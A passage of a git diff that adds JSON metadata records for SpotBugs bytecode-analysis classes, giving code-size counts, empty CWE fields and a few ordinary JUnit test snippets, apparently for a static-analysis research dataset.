Tool/Spotbugs/Rule Information/checkers/ba/DataflowAnalysisException.json new file mode 100644 index 0000000..3201ec9 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/DataflowAnalysisException.json @@ -0,0 +1,13 @@ +{ + "name": "DataflowAnalysisException", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 95, + "branches": 6, + "apis": 4, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/DataflowCFGPrinter.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/DataflowCFGPrinter.json new file mode 100644 index 0000000..40bbc39 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/DataflowCFGPrinter.json @@ -0,0 +1,13 @@ +{ + "name": "DataflowCFGPrinter", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 113, + "branches": 4, + "apis": 16, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/DataflowValueChooser.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/DataflowValueChooser.json new file mode 100644 index 0000000..4981c98 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/DataflowValueChooser.json @@ -0,0 +1,13 @@ +{ + "name": "DataflowValueChooser", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 29, + "branches": 3, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/Debug.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/Debug.json new file mode 100644 index 0000000..3585af9 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/Debug.json @@ -0,0 +1,13 @@ +{ + "name": "Debug", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 31, + "branches": 2, + "apis": 2, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/DebugRepositoryLookupFailureCallback.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/DebugRepositoryLookupFailureCallback.json new file mode 100644 index 0000000..e7bab20 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/DebugRepositoryLookupFailureCallback.json @@ -0,0 +1,13 @@ +{ + "name": "DebugRepositoryLookupFailureCallback", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 121, + "branches": 6, + "apis": 20, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/DefaultNullnessAnnotations.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/DefaultNullnessAnnotations.json new file mode 100644 index 0000000..4407b38 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/DefaultNullnessAnnotations.json @@ -0,0 +1,13 @@ +{ + "name": "DefaultNullnessAnnotations", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 777, + "branches": 11, + "apis": 282, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/DepthFirstSearch.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/DepthFirstSearch.json new file mode 100644 index 0000000..9d4910d --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/DepthFirstSearch.json @@ -0,0 +1,13 @@ +{ + "name": "DepthFirstSearch", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 51, + "branches": 2, + "apis": 2, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/DominatorsAnalysis.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/DominatorsAnalysis.json new file mode 100644 index 0000000..ae14f11 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/DominatorsAnalysis.json @@ -0,0 +1,13 @@ +{ + "name": "DominatorsAnalysis", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 110, + "branches": 7, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/Edge.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/Edge.json new file mode 100644 index 0000000..8b333ef --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/Edge.json @@ -0,0 +1,13 @@ +{ + "name": "Edge", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 311, + "branches": 44, + "apis": 55, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/EdgeChooser.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/EdgeChooser.json new file mode 100644 index 0000000..bfcd058 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/EdgeChooser.json @@ -0,0 +1,13 @@ +{ + "name": "EdgeChooser", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 36, + "branches": 4, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/EdgeTypes.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/EdgeTypes.json new file mode 100644 index 0000000..6b97fb1 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/EdgeTypes.json @@ -0,0 +1,13 @@ +{ + "name": "EdgeTypes", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 144, + "branches": 13, + "apis": 6, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/EqualsKindSummary.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/EqualsKindSummary.json new file mode 100644 index 0000000..20ac356 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/EqualsKindSummary.json @@ -0,0 +1,13 @@ +{ + "name": "EqualsKindSummary", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 47, + "branches": 2, + "apis": 6, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ExceptionHandlerMap.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ExceptionHandlerMap.json new file mode 100644 index 0000000..8c6c259 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ExceptionHandlerMap.json @@ -0,0 +1,13 @@ +{ + "name": "ExceptionHandlerMap", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 167, + "branches": 22, + "apis": 20, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/FieldSummary.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/FieldSummary.json new file mode 100644 index 0000000..d4ef567 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/FieldSummary.json @@ -0,0 +1,13 @@ +{ + "name": "FieldSummary", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 252, + "branches": 27, + "apis": 70, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/FileSourceFileDataSource.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/FileSourceFileDataSource.json new file mode 100644 index 0000000..00ee137 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/FileSourceFileDataSource.json @@ -0,0 +1,13 @@ +{ + "name": "FileSourceFileDataSource", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 60, + "branches": 3, + "apis": 3, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ForwardDataflowAnalysis.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ForwardDataflowAnalysis.json new file mode 100644 index 0000000..2ba263f --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ForwardDataflowAnalysis.json @@ -0,0 +1,13 @@ +{ + "name": "ForwardDataflowAnalysis", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 53, + "branches": 5, + "apis": 2, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/Frame.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/Frame.json new file mode 100644 index 0000000..f85b3e3 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/Frame.json @@ -0,0 +1,23 @@ +{ + "name": "Frame", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 689, + "branches": 74, + "apis": 73, + "test": [ + { + "description": "testToString", + "expected-problems": null, + "expected-linenumbers": [ + 11, + 20 + ], + "code": "@Test\n void testToString() {\n Frame frame = new Frame(1) {\n @Override\n public String getValue(int n) {\n return \"value\";\n }\n };\n assertThat(frame.toString(), is(equalTo(\"[value]\")));\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/FrameDataflowAnalysis.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/FrameDataflowAnalysis.json new file mode 100644 index 0000000..c3568d9 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/FrameDataflowAnalysis.json @@ -0,0 +1,13 @@ +{ + "name": "FrameDataflowAnalysis", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 233, + "branches": 29, + "apis": 28, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/Hierarchy.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/Hierarchy.json new file mode 100644 index 0000000..d09d83e --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/Hierarchy.json @@ -0,0 +1,13 @@ +{ + "name": "Hierarchy", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 984, + "branches": 117, + "apis": 134, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/Hierarchy2.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/Hierarchy2.json new file mode 100644 index 0000000..10f0680 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/Hierarchy2.json @@ -0,0 +1,13 @@ +{ + "name": "Hierarchy2", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 508, + "branches": 68, + "apis": 81, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/INullnessAnnotationDatabase.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/INullnessAnnotationDatabase.json new file mode 100644 index 0000000..2fdca7d --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/INullnessAnnotationDatabase.json @@ -0,0 +1,13 @@ +{ + "name": "INullnessAnnotationDatabase", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 138, + "branches": 7, + "apis": 2, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/IncompatibleTypes.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/IncompatibleTypes.json new file mode 100644 index 0000000..a5bb041 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/IncompatibleTypes.json @@ -0,0 +1,13 @@ +{ + "name": "IncompatibleTypes", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 328, + "branches": 46, + "apis": 66, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/InnerClassAccess.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/InnerClassAccess.json new file mode 100644 index 0000000..5a72d6b --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/InnerClassAccess.json @@ -0,0 +1,13 @@ +{ + "name": "InnerClassAccess", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 59, + "branches": 2, + "apis": 2, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/InnerClassAccessMap.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/InnerClassAccessMap.json new file mode 100644 index 0000000..35bad53 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/InnerClassAccessMap.json @@ -0,0 +1,13 @@ +{ + "name": "InnerClassAccessMap", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 398, + "branches": 41, + "apis": 54, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/InstructionHandleMap.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/InstructionHandleMap.json new file mode 100644 index 0000000..b60f0a5 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/InstructionHandleMap.json @@ -0,0 +1,13 @@ +{ + "name": "InstructionHandleMap", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 47, + "branches": 2, + "apis": 4, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/InvalidBytecodeException.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/InvalidBytecodeException.json new file mode 100644 index 0000000..76ff1f3 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/InvalidBytecodeException.json @@ -0,0 +1,13 @@ +{ + "name": "InvalidBytecodeException", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 87, + "branches": 7, + "apis": 3, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/JCIPAnnotationDatabase.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/JCIPAnnotationDatabase.json new file mode 100644 index 0000000..554108a --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/JCIPAnnotationDatabase.json @@ -0,0 +1,13 @@ +{ + "name": "JCIPAnnotationDatabase", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 97, + "branches": 3, + "apis": 15, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/JavaClassAndMethod.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/JavaClassAndMethod.json new file mode 100644 index 0000000..9c9d35a --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/JavaClassAndMethod.json @@ -0,0 +1,13 @@ +{ + "name": "JavaClassAndMethod", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 129, + "branches": 6, + "apis": 15, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/JavaClassAndMethodChooser.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/JavaClassAndMethodChooser.json new file mode 100644 index 0000000..d8a041c --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/JavaClassAndMethodChooser.json @@ -0,0 +1,13 @@ +{ + "name": "JavaClassAndMethodChooser", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 30, + "branches": 2, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/LineNumberMap.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/LineNumberMap.json new file mode 100644 index 0000000..1c431a3 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/LineNumberMap.json @@ -0,0 +1,13 @@ +{ + "name": "LineNumberMap", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 152, + "branches": 20, + "apis": 21, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/LiveLocalStoreAnalysis.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/LiveLocalStoreAnalysis.json new file mode 100644 index 0000000..4182b35 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/LiveLocalStoreAnalysis.json @@ -0,0 +1,13 @@ +{ + "name": "LiveLocalStoreAnalysis", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 229, + "branches": 16, + "apis": 29, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/LiveLocalStoreDataflow.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/LiveLocalStoreDataflow.json new file mode 100644 index 0000000..4eb65df --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/LiveLocalStoreDataflow.json @@ -0,0 +1,13 @@ +{ + "name": "LiveLocalStoreDataflow", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 34, + "branches": 3, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/Location.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/Location.json new file mode 100644 index 0000000..e0c3b82 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/Location.json @@ -0,0 +1,13 @@ +{ + "name": "Location", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 153, + "branches": 9, + "apis": 13, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/LockAnalysis.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/LockAnalysis.json new file mode 100644 index 0000000..cb231e2 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/LockAnalysis.json @@ -0,0 +1,13 @@ +{ + "name": "LockAnalysis", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 190, + "branches": 15, + "apis": 36, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/LockChecker.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/LockChecker.json new file mode 100644 index 0000000..2e60944 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/LockChecker.json @@ -0,0 +1,13 @@ +{ + "name": "LockChecker", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 121, + "branches": 12, + "apis": 19, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/LockDataflow.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/LockDataflow.json new file mode 100644 index 0000000..c244a01 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/LockDataflow.json @@ -0,0 +1,13 @@ +{ + "name": "LockDataflow", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 31, + "branches": 3, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/LockSet.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/LockSet.json new file mode 100644 index 0000000..c704f45 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/LockSet.json @@ -0,0 +1,13 @@ +{ + "name": "LockSet", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 409, + "branches": 55, + "apis": 44, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/MethodBytecodeSet.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/MethodBytecodeSet.json new file mode 100644 index 0000000..cca2aaf --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/MethodBytecodeSet.json @@ -0,0 +1,13 @@ +{ + "name": "MethodBytecodeSet", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 43, + "branches": 3, + "apis": 5, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/MethodChooser.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/MethodChooser.json new file mode 100644 index 0000000..94e9767 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/MethodChooser.json @@ -0,0 +1,13 @@ +{ + "name": "MethodChooser", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 38, + "branches": 4, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/MethodHash.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/MethodHash.json new file mode 100644 index 0000000..a2b53d0 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/MethodHash.json @@ -0,0 +1,77 @@ +{ + "name": "MethodHash", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 194, + "branches": 11, + "apis": 13, + "test": [ + { + "description": "testHashToString", + "expected-problems": null, + "expected-linenumbers": [ + 56, + 60 + ], + "code": "@Test\n void testHashToString() {\n String s2 = ClassHash.hashToString(hash);\n Assertions.assertEquals(s, s2);\n }" + }, + { + "description": "testStringToHash", + "expected-problems": null, + "expected-linenumbers": [ + 62, + 66 + ], + "code": "@Test\n void testStringToHash() {\n byte[] hash2 = ClassHash.stringToHash(s);\n Assertions.assertArrayEquals(hash, hash2);\n }" + }, + { + "description": "testSame", + "expected-problems": null, + "expected-linenumbers": [ + 68, + 72 + ], + "code": "@Test\n void testSame() {\n Assertions.assertEquals(0, MethodHash.compareHashes(hash, sameHash));\n Assertions.assertEquals(0, MethodHash.compareHashes(sameHash, hash));\n }" + }, + { + "description": "testGreater", + "expected-problems": null, + "expected-linenumbers": [ + 74, + 77 + ], + "code": "@Test\n void testGreater() {\n Assertions.assertTrue(MethodHash.compareHashes(hash, greaterHash) < 0);\n }" + }, + { + "description": "testLesser", + "expected-problems": null, + "expected-linenumbers": [ + 79, + 82 + ], + "code": "@Test\n void testLesser() {\n Assertions.assertTrue(MethodHash.compareHashes(hash, lesserHash) > 0);\n }" + }, + { + "description": "testShorter", + "expected-problems": null, + "expected-linenumbers": [ + 84, + 87 + ], + "code": "@Test\n void testShorter() {\n Assertions.assertTrue(MethodHash.compareHashes(hash, shorterHash) > 0);\n }" + }, + { + "description": "testLonger", + "expected-problems": null, + "expected-linenumbers": [ + 89, + 92 + ], + "code": "@Test\n void testLonger() {\n Assertions.assertTrue(MethodHash.compareHashes(hash, longerHash) < 0);\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/MethodUnprofitableException.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/MethodUnprofitableException.json new file mode 100644 index 0000000..8e5dceb --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/MethodUnprofitableException.json @@ -0,0 +1,13 @@ +{ + "name": "MethodUnprofitableException", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 82, + "branches": 2, + "apis": 6, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/MissingClassException.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/MissingClassException.json new file mode 100644 index 0000000..ffaa672 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/MissingClassException.json @@ -0,0 +1,13 @@ +{ + "name": "MissingClassException", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 75, + "branches": 3, + "apis": 3, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/NullnessAnnotation.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/NullnessAnnotation.json new file mode 100644 index 0000000..38b2a38 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/NullnessAnnotation.json @@ -0,0 +1,13 @@ +{ + "name": "NullnessAnnotation", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 100, + "branches": 7, + "apis": 21, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/NullnessAnnotationDatabase.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/NullnessAnnotationDatabase.json new file mode 100644 index 0000000..d74f75a --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/NullnessAnnotationDatabase.json @@ -0,0 +1,13 @@ +{ + "name": "NullnessAnnotationDatabase", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 145, + "branches": 20, + "apis": 31, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ObjectTypeFactory.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ObjectTypeFactory.json new file mode 100644 index 0000000..c150009 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/ObjectTypeFactory.json @@ -0,0 +1,13 @@ +{ + "name": "ObjectTypeFactory", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 75, + "branches": 6, + "apis": 11, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/OpcodeStackScanner.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/OpcodeStackScanner.json new file mode 100644 index 0000000..22fc7ef --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/OpcodeStackScanner.json @@ -0,0 +1,13 @@ +{ + "name": "OpcodeStackScanner", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 118, + "branches": 6, + "apis": 10, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/Path.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/Path.json new file mode 100644 index 0000000..d50221e --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/Path.json @@ -0,0 +1,13 @@ +{ + "name": "Path", + "language": "java", + "description": null, + "example": null, + "cwe": null, + 